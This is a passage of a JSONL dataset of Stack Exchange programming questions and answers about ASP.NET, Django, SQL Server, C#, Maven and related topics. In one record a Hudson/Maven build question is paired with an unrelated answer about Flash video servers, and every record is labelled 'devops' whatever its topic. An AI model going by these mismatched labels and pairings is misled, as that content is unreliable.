panel are disposed to prevent memory leaks, but anything else in there will just be replaced with the html received.\nSo if you don't have any asp.net ajax components in the target container for the response, it would be basically the same as an inner html replacement with any other js framework / ajax request, so i would say that it's just the how the browser handles this, rather than asp.net ajax causing this.\nAlso, while it may be \"leaking\", it may be by design, meaning that the browser might not have reclaimed the dom elements yet and released them. Also, drip might be causing those to leak, as it is attaching to those dom elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.305559"}
{"id": "hf_7443dfe28490", "question": "<p>I am working on a site where users can login to get more private information.\n My client has another site else where that uses <em>nt authentication</em> for accessing it.</p>\n\n<p>What they want to do is have a <code>button</code> on the site I am working on under the private area that will send them to the <em>nt authenticated</em> site, but not require them to log on to that site instead passing the <em>username</em> and <em>password</em> that they used to log into my site to the other site for them.</p>\n\n<p>Is it possible to do this? and how would I accomplish it? Is there a better way to do this?</p>\n", "question_body": "", "answer": "How will the other site validate your username and password?\nIdeally your site shouldn't even be remembering the user's password to be able to pass it to another site (you store hashes of the password, not the password itself, and only use the actually password during validation).\nWhat if your site provided a token to the user, who presents that token to the new site, which in turn asks your site to validate the token.  Basically the second site is trusting you to tell them who the user is.\nThis all breaks down if the second site is actually using the Windows accounts for anything other than just retrieving a user name (for example permissions on the underlying file), since the user is not logged on as the actual Windows user account in this scenario.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.381765"}
{"id": "hf_008202c25339", "question": "<p>What's the best way to extend the User model (bundled with Django's authentication app) with custom fields? I would also possibly like to use the email as the username (for authentication purposes).</p>\n\n<p>I've already seen a <a href=\"http://scottbarnham.com/blog/2008/08/21/extending-the-django-user-model-with-inheritance/\" rel=\"noreferrer\">few</a> <a href=\"http://www.b-list.org/weblog/2006/jun/06/django-tips-extending-user-model/\" rel=\"noreferrer\">ways</a> to do it, but can't decide on which one is the best.</p>\n", "question_body": "", "answer": "There is an official recommendation on\nstoring additional information about users\n.\nThe Django Book also discusses this problem in section\nProfiles\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.406925"}
{"id": "hf_afbe4a7d1e3f", "question": "<p>Does anyone know of a way to alter a computed column without dropping the column in SQL Server. I want to stop using the column as a computed column and start storing data directly in the column, but would like to retain the current values.</p>\n\n<p>Is this even possible?</p>\n", "question_body": "", "answer": "Ok, so let me see if I got this straight.  You want to take a column that is currently computed and make it a plain-jane data column.  Normally this would drop the column but you want to keep the data in the column.\nMake a new table with the primary key columns from your source table and the generated column.\nCopy the data from your source table into the new table.\nChange the column on your source table.\nCopy the data back.\nNo matter what you do I am pretty sure changing the column will drop it.  This way is a bit more complex but not that bad and it saves your data.\n[Edit: @SqlMenace's answer is much easier. :)  Curse you Menace!! :)]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.432289"}
{"id": "hf_f0e1c5dfc210", "question": "<p>I need to display a variable-length message and allow the text to be selectable. I have made the TextBox ReadOnly which does not allow the text to be edited, but the input caret is still shown. </p>\n\n<p>The blinking input caret is confusing. How do I hide it?</p>\n", "question_body": "", "answer": "If you disable the text box (set\n```\nEnable=false\n```\n), the text in it is still scrollable and selectable. If you don't like the visual presentation of a disabled text box (gray background usually) you can manually override the colors.\nBe warned, manually overriding colors is going to make your form/control look weird on systems that do not use the default color/theme settings. Don't assume that because your control is white that everyone's control is going to be white. That's why you should always use the system colors whenever possible (defined in the\n```\nSystem.Drawing.SystemColors\n```\nenumeration) such as\n```\nSystemColors.ControlLight\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.457178"}
{"id": "hf_af0a1b0a5498", "question": "<p>What is the best way to layout a large django project?  The tutorials provide simple instructions for setting up apps, models, and views, but there is less information about how apps and projects should be broken down, how much sharing is allowable/necessary between apps in a typical project (obviously that is largely dependent on the project) and how/where general templates should be kept.</p>\n\n<p>Does anyone have examples, suggestions, and <em>explanations</em> as to why a certain project layout is better than another?  I am particularly interested in the incorporation of large numbers of unit tests (2-5x the size of the actual code base) and string externalization / templates.</p>\n", "question_body": "", "answer": "This page does a good job of addressing some of my questions:\nhttp://www.b-list.org/weblog/2006/sep/10/django-tips-laying-out-application/\nSpecifically:\nTo define custom template tags or filters, you must create a sub-directory in the application’s directory called templatetags, and it must contain a file named __init__.py so that it can be imported as a Python module.\nTo define unit tests which will automatically be noticed by Django’s testing framework, put them in a module called tests (which can be either a file named tests.py or a directory called tests). The testing framework will also find any doctests in that module, but the preferred place for those is, of course, the docstrings of the classes or functions they’re designed to test.\nTo provide custom SQL which will be executed immediately after your application is installed, create a sub-directory called sql inside the application’s directory; the file names should be the same as the names of the models whose tables they’ll operate on; for example, if you have an app named weblog containing a model named Entry, then the file sql/entry.sql inside the app’s directory can be used to modify or insert data into the entries table as soon as it’s been created.\nThe note about tests.py and tests (the directory) also holds for models, which helps address the problem of having way to many tests (or models) for one file.\nI would still like to see some examples / suggestions for app/project break down, and  big django sites that work well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.482152"}
{"id": "hf_39ba8c388496", "question": "<p>What options do I have to publish Flash video from webcams other than Adobe's Flash Media Server and Red5? I would prefer a solution in .NET, Python or PHP but can't find anything.</p>\n", "question_body": "", "answer": "Besides another commercial product, like\nWowza Media Server\n, you could go with a CDN (Content Delivery Network), like\nLimelight Networks\nor\nVoxel.net\n.  You might even be able to find a local hosting provider that would serve up live Flash video for you.\n(Live Flash video in a non-trivial thing to do, so the options are a bit limited.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.508229"}
{"id": "hf_1ccbf3ba0e34", "question": "<p>I'm using Hudson and Maven 2 for my automated build/CI.  I can build fine with maven from the command line, but when I run the same goal with Hudson, the build fails complaining of missing artifacts.  I'm running Hudson as a windows XP service.</p>\n", "question_body": "", "answer": "Besides another commercial product, like\nWowza Media Server\n, you could go with a CDN (Content Delivery Network), like\nLimelight Networks\nor\nVoxel.net\n.  You might even be able to find a local hosting provider that would serve up live Flash video for you.\n(Live Flash video in a non-trivial thing to do, so the options are a bit limited.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.533225"}
{"id": "hf_1123791c0198", "question": "<p>Like the title says: Can reflection give you the name of the currently executing method.</p>\n\n<p>I'm inclined to guess not, because of the Heisenberg problem.  How do you call a method that will tell you the current method without changing what the current method is?  But I'm hoping someone can prove me wrong there.</p>\n\n<p><strong>Update:</strong>  </p>\n\n<ul>\n<li>Part 2:  Could this be used to look inside code for a property as well?  </li>\n<li>Part 3:  What would the performance be like?</li>\n</ul>\n\n<p><strong>Final Result</strong><br>\nI learned about MethodBase.GetCurrentMethod().  I also learned that not only can I create a stack trace, I can create only the exact frame I need if I want.  </p>\n\n<p>To use this inside a property, just take a .Substring(4) to remove the 'set_' or 'get_'.</p>\n", "question_body": "", "answer": "I think you should be able to get that from creating a\nStackTrace\n.  Or, as @\nedg\nand @\nLars Mæhlum\nmention, MethodBase.\nGetCurrentMethod\n()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.571964"}
{"id": "hf_443f9f70a960", "question": "<p>A friend of mine told me there was a way to connect two private IPs without using a proxy server. The idea was that both computers connected to a public server and some how the server joined the private connections and won't use any more bandwidth.</p>\n\n<p>Is this true? How's this technique named?</p>\n", "question_body": "", "answer": "This is true.  It's the way\nFogCreek Copilot\nworks\nTake a look at item 2 on Joel's\nCopilot 2.0 post\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.626407"}
{"id": "hf_09a307af76ed", "question": "<p>I have a database with two tables (<code>Table1</code> and <code>Table2</code>). They both have a common column <code>[ColumnA]</code> which is an <code>nvarchar</code>. </p>\n\n<p>How can I select this column from both tables and return it as a single column in my result set?</p>\n\n<p>So I'm looking for something like:</p>\n\n<pre><code>ColumnA in Table1:\na\nb\nc\n\nColumnA in Table2:\nd\ne\nf\n\nResult set should be:\na\nb\nc\nd\ne\nf\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT ColumnA FROM Table1 UNION Select ColumnB FROM Table2 ORDER BY 1\n```\n```\nAlso, if you know the contents of Table1 and Table2 will\nNEVER\noverlap, you can use UNION ALL in place of UNION instead.  Saves a little bit of resources that way.\n-- Kevin Fairchild", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.651831"}
{"id": "hf_9842ce457857", "question": "<p>I am looking for a simple JavaScript example that updates DOM.<br>\nAny suggestions?</p>\n", "question_body": "", "answer": "I believe that this tutorial on jQuery has an example that might help you:\nhttp://docs.jquery.com/Tutorials:Getting_Started_with_jQuery", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.676718"}
{"id": "hf_202342a98eda", "question": "<p>I am looking for some advice on what should I concentrate my efforts to get the needed skills to become a Java developer for Oracle applications. I'm bit confused as there are lot of technologies in the Java world. Where should I start? What to avoid? Is JDeveloper a good IDE for a beginner?</p>\n", "question_body": "", "answer": "You should be able to do everything related to Oracle using\nJDBC\n, so make sure you bone up on that API.  Other than that, it depends on the type of application.  Standalone apps may use Swing (the Java UI toolkit) or in the future JavaFX, which is supposed to make Swing obsolete and may do so in a few years.  Web/enterprisey apps will make use of Java Enterprise Edition, so take a look at the servlet API, and if the app uses Enterprise JavaBeans, look at the\nJava Persistence API\n, which you would probably be using instead of JDBC.\nI haven't used JDeveloper, but I haven't found anything wrong with the free IDEs like\nEclipse\nor\nNetbeans\n, and my personal favorite is JetBrains's\nIntelliJ IDEA\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.755913"}
{"id": "hf_52eb8a53dbcc", "question": "<p>This is a php example, but an algorithm for any language would do. What I specifically want to do is bubble up the United States and Canada to the top of the list. Here is an example of the array shortened for brevity. </p>\n\n<pre><code>array(\n  0 =&gt; '-- SELECT --',\n  1 =&gt; 'Afghanistan',\n  2 =&gt; 'Albania',\n  3 =&gt; 'Algeria',\n  4 =&gt; 'American Samoa',\n  5 =&gt; 'Andorra',)\n</code></pre>\n\n<p>The id's need to stay intact. So making them -1 or -2 will unfortunately not work.</p>\n", "question_body": "", "answer": "My shortcut in similar cases is to add a space at the start of Canada and two spaces at the start of United States. If displaying these as options in a SELECT tag, the spaces are not visible but the sorting still brings them to the front.\nHowever, that may be a little hacky in some contexts. In Java the thing to do would be to extend StringComparator, override the compare() method making the US and Canada special cases, then sort the list (or array) passing in your new comparator as the sort algorithm.\nHowever I would imagine it might be simpler to just find the relevant entries in the array, remove them from the array and add them again at the start. If you are in some kind of framework which will re-sort the array, then it might not work. But in most cases that will do just fine.\n[edit] I see that you are using a hash and not an array - so it will depend on how you are doing the sorting. Could you simply put the US into the hash with a key of -2, Canada with -1 and then sort by ID instead? Not having used PHP in anger for 11 years, I don't recall whether it has built-in sorting in its hashes or if you are doing that at the application level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.841464"}
{"id": "hf_dabeb556e877", "question": "<p>Comparing string in C# is pretty simple.  In fact there are several ways to do it.  I have listed some in the block below.  What I am curious about are the differences between them and when one should be used over the others?  Should one be avoided at all costs?  Are there more I haven't listed?  </p>\n\n<pre><code>string testString = \"Test\";\nstring anotherString = \"Another\";\n\nif (testString.CompareTo(anotherString) == 0) {}\nif (testString.Equals(anotherString)) {}\nif (testString == anotherString) {}\n</code></pre>\n\n<p>(Note: I am looking for equality in this example, not less than or greater than but feel free to comment on that as well)</p>\n", "question_body": "", "answer": "From MSDN:\n\"The CompareTo method was designed primarily for use in sorting or\n  alphabetizing      operations. It should not be used when the primary\n  purpose of the method call is to     determine whether two strings are\n  equivalent. To determine whether two strings are    equivalent, call\n  the Equals method.\"\nThey suggest using\n```\n.Equals\n```\ninstead of\n```\n.CompareTo\n```\nwhen looking solely for equality.  I am not sure if there is a difference between\n```\n.Equals\n```\nand\n```\n==\n```\nfor the\n```\nstring\n```\nclass.  I will sometimes use\n```\n.Equals\n```\nor\n```\nObject.ReferenceEquals\n```\ninstead of\n```\n==\n```\nfor my own classes in case someone comes along at a later time and redefines the\n```\n==\n```\noperator for that class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.890558"}
{"id": "hf_fd1b7488c41e", "question": "<p>I'm trying to be better about unit testing my code, but right now I'm writing a lot of code that deals with remote systems.  SNMP, WMI, that sort of thing.  With most classes I can mock up objects to test them, but how do you deal with unit testing a real system?  For example, if my class goes out and gets the Win32_LogicalDisk object for a server, how could I possibly unit test it?</p>\n", "question_body": "", "answer": "Assuming you meant \"How do I test against things that are hard/impossible to mock\":\nIf you have a class that \"goes out and gets the Win32_LogicalDisk object for a server\" AND does something else (consumes the 'Win32_LogicalDisk' object in some way), assuming you want to test the pieces of the class that consume this object, you can use\nDependency Injection\nto allow you to mock the 'Win32_LogicalDisk' object.  For instance:\n```\n```\nclass LogicalDiskConsumer(object):\n\n    def __init__(self, arg1, arg2, LogicalDiskFactory)\n        self.arg1=arg1\n        self.arg2=arg2\n        self.LogicalDisk=LogicalDiskFactory()\n\n    def consumedisk(self):\n        self.LogicalDisk.someaction()\n```\n```\nThen in your unit test code, pass in a 'LogicalDiskFactory' that returns a mock object for the 'Win32_LogicalDisk'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.952966"}
{"id": "hf_75939d173f03", "question": "<p>In Python, given a module X and a class Y, how can I iterate or generate a list of all subclasses of Y that exist in module X?</p>\n", "question_body": "", "answer": "Here's one way to do it:\n```\n```\nimport inspect\n\ndef get_subclasses(mod, cls):\n    \"\"\"Yield the classes in module ``mod`` that inherit from ``cls``\"\"\"\n    for name, obj in inspect.getmembers(mod):\n        if hasattr(obj, \"__bases__\") and cls in obj.__bases__:\n            yield obj\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:37.989955"}
{"id": "hf_1d7ca2516f05", "question": "<p>I have built a basic data entry application allowing users to browse external content in iframe and enter data quickly from the same page. One of the data variables is the URL.\nIdeally I would like to be able to load the iframes current url into a textbox with javascript. I realize now that this is not going to happen due to security issues.</p>\n\n<p>Has anyone done anything on the server side? or know of any .Net browser in browser controls. The ultimate goal is to just give the user an easy method of extracting the url of the page they are viewing in the iframe It doesn't necessarily HAVE to be an iframe, a browser in the browser would be ideal.</p>\n\n<p>Thanks,\nAdam</p>\n", "question_body": "", "answer": "Does this help?\nhttp://www.quirksmode.org/js/iframe.html\nI only tested this in firefox, but if you have something like this:\n```\n```\n<iframe name='myframe' id='myframe' src='http://www.google.com'></iframe>\n```\n```\nYou can get its address by using:\n```\n```\ndocument.getElementById('myframe').src\n```\n```\nNot sure if I understood your question correctly but anyways :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.015172"}
{"id": "hf_0aefa3332b56", "question": "<p>So, I was reading the Google testing blog, and it says that global state is bad and makes it hard to write tests.  I believe it--my code is difficult to test right now.  So how do I avoid global state?</p>\n\n<p>The biggest things I use global state (as I understand it) for is managing key pieces of information between our development, acceptance, and production environments.  For example, I have a static class named \"Globals\" with a static member called \"DBConnectionString.\"  When the application loads, it determines which connection string to load, and populates Globals.DBConnectionString.  I load file paths, server names, and other information in the Globals class.</p>\n\n<p>Some of my functions rely on the global variables.  So, when I test my functions, I have to remember to set certain globals first or else the tests will fail.  I'd like to avoid this.</p>\n\n<p>Is there a good way to manage state information?  (Or am I understanding global state incorrectly?)</p>\n", "question_body": "", "answer": "Dependency injection is what you're looking for. Rather than have those functions go out and look for their dependencies, inject the dependencies into the functions. That is, when you call the functions pass the data they want to them. That way it's easy to put a testing framework around a class because you can simply inject mock objects where appropriate.\nIt's hard to avoid some global state, but the best way to do this is to use factory classes at the highest level of your application, and everything below that very top level is based on dependency injection.\nTwo main benefits: one, testing is a heck of a lot easier, and two, your application is much more loosely coupled. You rely on being able to program against the interface of a class rather than its implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.039837"}
{"id": "hf_8a51e477119c", "question": "<p>How do you shade alternating rows in a SQL Server Reporting Services report?</p>\n\n<hr>\n\n<p><strong>Edit:</strong> There are a bunch of good answers listed below--from <a href=\"https://stackoverflow.com/questions/44376/add-alternating-row-color-to-sql-server-reporting-services-report#44378\">quick</a> and <a href=\"https://stackoverflow.com/questions/44376/add-alternating-row-color-to-sql-server-reporting-services-report#345935\">simple</a> to <a href=\"https://stackoverflow.com/questions/44376/add-alternating-row-color-to-sql-server-reporting-services-report#83832\">complex and comprehensive</a>. Alas, I can choose only one...</p>\n", "question_body": "", "answer": "Go to the table row's BackgroundColor property and choose \"Expression...\"\nUse this expression:\n```\n```\n= IIf(RowNumber(Nothing) Mod 2 = 0, \"Silver\", \"Transparent\")\n```\n```\nThis trick can be applied to many areas of the report.\nAnd in .NET 3.5+ You could use:\n```\n```\n= If(RowNumber(Nothing) Mod 2 = 0, \"Silver\", \"Transparent\")\n```\n```\nNot looking for rep--I just researched this question myself and thought I'd share.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.080932"}
{"id": "hf_606c7b8429ce", "question": "<p>I use Eclipse, Maven, and Java in my development. I use Maven to download dependencies (jar files and javadoc when available) and Maven's eclipse plug-in to generate the .project and .classpath files for Eclipse. When the dependency downloaded does not have attached javadoc I manually add a link for the javadoc in the .classpath file so that I can see the javadoc for the dependency in Eclipse. Then when I run Maven's eclipse plugin to regenerate the .classpath file it of course wipes out that change.</p>\n\n<p>Is there a way to configure Maven's eclipse plug-in to automatically add classpath attributes for javadoc when running Maven's eclipse plug-in?  </p>\n\n<p>I'm only interested in answers  where the javadoc and/or sources are not provided for the dependency in the maven repository, which is the case most often for me. Using downloadSources and/or downloadJavadocs properties won't help this problem.</p>\n", "question_body": "", "answer": "Would having the sources for the dependency help? You can tell the eclipse plugin to download those (and refer to them in the .classpath) with\n```\n-DdownloadSources=true\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.146951"}
{"id": "hf_df2b4028a3c5", "question": "<p>I would like to generate a random floating point number between 2 values.  What is the best way to do this in C#?</p>\n", "question_body": "", "answer": "```\n```\n// generate a random number starting with 5 and less than 15\nRandom r = new Random();\nint num = r.Next(5, 15);\n```\n```\nFor doubles you can replace Next with NextDouble", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.182064"}
{"id": "hf_fbd26f24c6c8", "question": "<p>Every time I publish the application in <a href=\"http://en.wikipedia.org/wiki/ClickOnce\" rel=\"nofollow noreferrer\">ClickOnce</a> I get get it to update the revision number by one. Is there a way to get this change automatically to change the version number in AssemblyInfo.cs file (all our error reporting looks at the Assembly Version)?</p>\n", "question_body": "", "answer": "You'll probably need to create a piece of code that updates AssemblyInfo.cs according to the version number stored in the .csproj file. (The ClickOnce deploy version is stored inside an XML tag.)\nYou'd then change your .csproj file to run this bit of code when Publish|Release build is performed. The MSBuild folks have blogged about how to perform custom actions during certain build types; check the\nMSBuild team blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.243672"}
{"id": "hf_60a4adba0531", "question": "<p>For this directory structure:</p>\n\n<pre><code>.\n|-- README.txt\n|-- firstlevel.rb\n`-- lib\n    |-- models\n    |   |-- foo\n    |   |   `-- fourthlevel.rb\n    |   `-- thirdlevel.rb\n    `-- secondlevel.rb\n\n3 directories, 5 files\n</code></pre>\n\n<p>The glob would match: </p>\n\n<pre><code>firstlevel.rb \nlib/secondlevel.rb \nlib/models/thirdlevel.rb\nlib/models/foo/fourthlevel.rb\n</code></pre>\n", "question_body": "", "answer": "In Ruby itself:\n```\n```\nDir.glob('**/*.rb') perhaps?\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.280655"}
{"id": "hf_677b8fe01afa", "question": "<p>How do you generate C# classes for accessing WMI?</p>\n", "question_body": "", "answer": "To generate strongly typed WMI classes, use the Management Strongly typed class generator (MgmtClassGen.exe).  It's usually in C:\\Program Files\\Microsoft Visual Studio X\\SDK\\vX\\Bin.  The parameters are\nat MSDN\nand they even have\na page\ndescribing the code generated.  If you have to do a lot of work with WMI, it's a lifesaver.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.319432"}
{"id": "hf_5e390c7f4efe", "question": "<p>Are there any tools that will spider an asp.net website and create a static site?</p>\n", "question_body": "", "answer": "http://www.httrack.com/\nHave used for this purpose a few times, may need to do a little tidying up of urls, and some css linked images might not make it, depends on how good a job you want to do.\nIf you have dreamweaver, you can use that to manage the links if you need to clean up the file names afterwards.\nOptionally use the link checker extension for firefox to check it all afterwards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.359137"}
{"id": "hf_1ba6d4fce450", "question": "<p>Do you attach the images? </p>\n\n<p>Use absolute urls? </p>\n\n<p>How do you best avoid getting flagged as spam? </p>\n", "question_body": "", "answer": "Campaign Monitor is a great resources for html email:\nhttp://www.campaignmonitor.com/resources/#building\nAlso\nhttp://www.email-standards.org/\n, but seems down right now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.387105"}
{"id": "hf_d95be2e0f75f", "question": "<p>As <a href=\"https://blog.stackoverflow.com/2008/09/podcast-20/\">Jeff Atwood asked</a>: &quot;What’s your logging philosophy? Should all code be littered with <code>.logthis()</code> and <code>.logthat()</code> calls? Or do you inject logging after the fact somehow?&quot;</p>\n", "question_body": "", "answer": "My logging philosophy is pretty easily summarized in four parts:\nAuditing, or business logic logging\nLog those things that are required to be logged.  This comes from the application requirements, and may include logging every change made to any database (as in many financial applications) or logging accesses to data (as may be required in the health industry to meet industry regulations)\nAs this is part of the program requirements many do not include it in their general discussions of logging, however there is overlap in these areas, and for some applications it is useful to consider all logging activities together.\nProgram logging\nMessages which will help developers test and debug the application, and more easily follow the data flow and program logic to understand where implementation, integration, and other errors may exist.\nIn general this logging is turned on and off as needed for debugging sessions.\nPerformance logging\nAdd later logging as needed to find and resolve performance bottlenecks and other program issues which aren't causing the program to fail, but will lead to better operation.  Overlaps with Program logging in the case of memory leaks and some non-critical errors.\nSecurity logging\nLogging user actions and interactions with external systems where security is a concern.  Useful for determining how an attacker broke a system after an attack, but may also tie into an intrusion detection system to detect new or ongoing attacks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.424269"}
{"id": "hf_d57a437253be", "question": "<p>I have never used octal numbers in my code nor come across any code that used it (hexadecimal and bit twiddling notwithstanding).</p>\n\n<p>I started programming in C/C++ about 1994 so maybe I'm too young for this? Does older code use octal? C includes support for these by prepending a 0, but where is the code that uses these base 8 number literals?</p>\n", "question_body": "", "answer": "It's useful for the\n```\nchmod\n```\nand\n```\nmkdir\n```\nfunctions in Unix land, but aside from that I can't think of any other common uses.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.451692"}
{"id": "hf_c77da76f9ace", "question": "<p>I recently downloaded ndepend and ran an analysis on an open source project I participate in.</p>\n\n<p>I did not now where to look next - a bit of visual and information overload and it turned out I don't even know where to start.</p>\n\n<p>Can anyone suggest starting points?</p>\n\n<ul>\n<li>What information should I look for first?</li>\n<li>What points out problems in the code (in a BIG way)?</li>\n<li>What would the low hanging fruit that can immediately seen?</li>\n</ul>\n", "question_body": "", "answer": "Scott Hanselman / Stuart Celarier / Patrick Cauldwell's\nposter\nwith ndepend metrics has some useful information on it. Rather than trying to break down all the heuristics being used I'd focus on only a few at a time starting with \"zone of pain / zone of uselessness\" and cyclomatic complexity.\nThere is also a\npodcast\nwhich covers some of the basics of the tool.\nBetween that and running nDepend on a few different projects you may be able to start gathering useful data that you can make into insights.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.517115"}
